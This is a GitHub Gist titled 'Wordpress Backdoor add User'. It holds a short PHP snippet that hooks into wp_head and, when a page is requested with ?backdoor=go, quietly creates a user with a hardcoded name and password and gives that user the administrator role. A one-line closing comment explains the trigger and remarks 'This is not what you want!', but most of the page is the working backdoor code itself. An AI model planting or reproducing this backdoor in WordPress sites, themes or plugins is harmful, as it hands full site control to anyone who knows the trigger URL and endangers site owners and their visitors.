Last active
April 16, 2020 16:24
-
-
Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Wordpress Backdoor add User #wordpress #php
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'wpBackdoor'); | |
function wpBackdoor() { | |
if ($_GET['backdoor'] == 'go') { | |
require('wp-includes/registration.php'); | |
if (!username_exists('USERNAME')) { | |
$userID = wp_create_user('USERNAME', 'PASSWORD'); | |
$user = new WP_User($userID); | |
$user->set_role('administrator'); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This snippet above creates an user with pw if you call the URL with the parameter
go
on a given domain where the backdoor is implemented.This is not what you want!